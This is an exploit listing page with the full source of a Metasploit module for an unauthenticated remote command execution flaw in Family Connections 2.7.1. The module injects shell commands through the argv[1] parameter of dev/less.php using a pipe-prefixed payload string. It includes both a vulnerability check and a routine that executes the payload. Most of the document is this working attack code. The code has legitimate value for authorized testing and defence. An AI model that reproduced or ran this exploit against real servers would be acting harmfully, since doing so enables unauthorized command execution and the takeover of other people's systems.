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Family Connections less.php Remote Command Execution

Family Connections less.php Remote Command Execution
Posted Dec 7, 2011
Authored by mr_me, juan vazquez | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Family Connections 2.7.1. It's in the dev/less.php script and is due to an insecure use of system(). Authentication isn't required to exploit the vulnerability but register_globals must be set to On.

tags | exploit, arbitrary, php
MD5 | 9564c920a76ec78496ab2330c6d14428

Family Connections less.php Remote Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Family Connections less.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Family Connections 2.7.1. It's in the dev/less.php script and is due
to an insecure use of system(). Authentication isn't required to exploit
the vulnerability but register_globals must be set to On.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
[ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet perl ruby',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Nov 29 2011',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
],self.class)
end

def check
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

mark = Rex::Text.rand_text_alpha(rand(5) + 5)

res = send_request_cgi({
'uri' => uri,
'vars_get' => { 'argv[1]' => "|echo #{mark};#" }
}, 25)

if res and res.code == 200 and res.body =~ /#{mark}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
end_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

res = send_request_cgi({
'uri' => uri,
'vars_get' => { 'argv[1]' => custom_payload }
}, 25)

if res and res.code == 200 and res.body =~ /#{start_mark}/
# Prints output when using cmd/unix/generic
result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
if not result.strip.empty?
print_status("Result of the command:\n#{result}")
end
end
end

end

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